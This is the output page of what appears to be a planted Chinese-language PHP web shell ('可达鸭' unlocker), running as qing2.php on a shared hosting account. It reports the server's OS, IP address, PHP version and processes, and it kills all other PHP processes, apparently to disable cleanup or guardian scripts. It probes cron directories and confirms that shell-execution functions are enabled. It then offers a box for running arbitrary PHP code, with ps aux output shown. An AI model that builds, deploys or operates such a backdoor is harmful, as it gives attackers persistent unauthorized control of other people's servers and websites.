可达鸭-解锁专用文件 - Verion 0.2 2024-10-12

当前系统用户: buzzxoee | 当前脚本所有者: buzzxoee

当前操作系统: Linux server225.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
当前服务器 IP 地址: 198.54.116.110
当前 PHP 版本: 7.2.34
服务器当前时间: 2026-07-10 13:57:56
当前没有使用 PHP-FPM。

正在运行的 PHP 进程:

buzzxoee 3517072  0.1  0.0 415380 39252 ?        S    09:56   0:00 lsphp
buzzxoee 3517360  1.9  0.0 589168 45848 ?        Ss   09:56   0:01 lsphp:/home/buzzxoee/okaymother.com/index.php
buzzxoee 3517361  3.1  0.0 605724 62504 ?        Ss   09:56   0:02 lsphp
buzzxoee 3518200  3.0  0.0 603504 60268 ?        Ss   09:57   0:01 lsphp
buzzxoee 3519642  2.1  0.0 587064 43672 ?        Ss   09:57   0:00 lsphp
buzzxoee 3520246  2.5  0.0 587256 43840 ?        Ss   09:57   0:00 lsphp
buzzxoee 3520563  2.8  0.0 587256 43824 ?        Ss   09:57   0:00 lsphp
buzzxoee 3520918  0.5  0.0 415380 38948 ?        S    09:57   0:00 lsphp
buzzxoee 3520994  0.0  0.0 415892 16132 ?        Ss   09:57   0:00 lsphp:/home/buzzxoee/public_html/qing2.php
buzzxoee 3521069  0.4  0.0 426208 28820 ?        S    09:57   0:00 lsphp
buzzxoee 3521123  0.7  0.0 426692 13820 ?        Ss   09:57   0:00 lsphp
buzzxoee 3521380  0.0  0.0  22900  3088 ?        S    09:57   0:00 sh -c ps aux | grep php
buzzxoee 3521382  0.0  0.0   9288  1272 ?        S    09:57   0:00 grep php

加载的PHP扩展: Core, date, libxml, openssl, pcre, sqlite3, zlib, bz2, calendar, ctype, curl, hash, filter, ftp, gettext, gmp, SPL, iconv, pcntl, readline, Reflection, session, standard, shmop, SimpleXML, mbstring, tokenizer, xml, litespeed, bcmath, dom, gd, imagick, imap, json, exif, mysqli, mysqlnd, PDO, pdo_mysql, pdo_sqlite, pgsql, Phar, posix, soap, sockets, tidy, timezonedb, uploadprogress, wddx, xmlreader, xmlrpc, xmlwriter, xsl, zip

正在运行的 PHP 进程:

Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format

当前PHP脚本的进程ID: 3520994

开始kill PHP进程...

3517072 ? 00:00:00 lsphp 进程 3517072 已 Kill.⚔️
3517360 ? 00:00:01 lsphp 进程 3517360 已 Kill.⚔️
3517361 ? 00:00:02 lsphp 进程 3517361 已 Kill.⚔️
3518200 ? 00:00:01 lsphp 进程 3518200 已 Kill.⚔️
3519642 ? 00:00:00 lsphp 进程 3519642 已 Kill.⚔️
3520246 ? 00:00:00 lsphp 进程 3520246 已 Kill.⚔️
3520563 ? 00:00:00 lsphp 进程 3520563 已 Kill.⚔️
3520918 ? 00:00:00 lsphp 进程 3520918 已 Kill.⚔️
3520994 ? 00:00:00 lsphp 跳过本身 (PID: 3520994)>>
3521069 ? 00:00:00 lsphp 进程 3521069 已 Kill.⚔️
3521123 ? 00:00:00 lsphp 进程 3521123 已 Kill.⚔️
共终止PHP进程数: 10

检查定时任务

无法访问 /etc/crontab
无法访问 /var/spool/cron/crontabs/
无法访问 /etc/cron.d/

index.php 文件不存在。

输入指定单文件路径

unLocker

执行环境检测 - 执行函数检查

exec: Enabled
passthru: Enabled
system: Enabled
shell_exec: Enabled

输入php代码开始执行

Output:

buzzxoee 3517072  0.1  0.0 415380 39252 ?        S    09:56   0:00 lsphp
buzzxoee 3517360  1.9  0.0 589168 45848 ?        Ss   09:56   0:01 lsphp:/home/buzzxoee/okaymother.com/index.php
buzzxoee 3517361  3.1  0.0 605724 62504 ?        Ss   09:56   0:02 lsphp
buzzxoee 3518200  3.0  0.0 603504 60268 ?        Ss   09:57   0:01 lsphp
buzzxoee 3519642  2.1  0.0 587064 43672 ?        Ss   09:57   0:00 lsphp
buzzxoee 3520246  2.5  0.0 587256 43840 ?        Ss   09:57   0:00 lsphp
buzzxoee 3520563  2.8  0.0 587256 43824 ?        Ss   09:57   0:00 lsphp
buzzxoee 3520918  0.5  0.0 415380 38948 ?        S    09:57   0:00 lsphp
buzzxoee 3520994  0.0  0.0 415892 16132 ?        Ss   09:57   0:00 lsphp:/home/buzzxoee/public_html/qing2.php
buzzxoee 3521069  0.4  0.0 426208 28820 ?        S    09:57   0:00 lsphp
buzzxoee 3521123  0.7  0.0 426692 13820 ?        Ss   09:57   0:00 lsphp
buzzxoee 3521380  0.0  0.0  22900  3088 ?        S    09:57   0:00 sh -c ps aux | grep php
buzzxoee 3521382  0.0  0.0   9288  1272 ?        S    09:57   0:00 grep php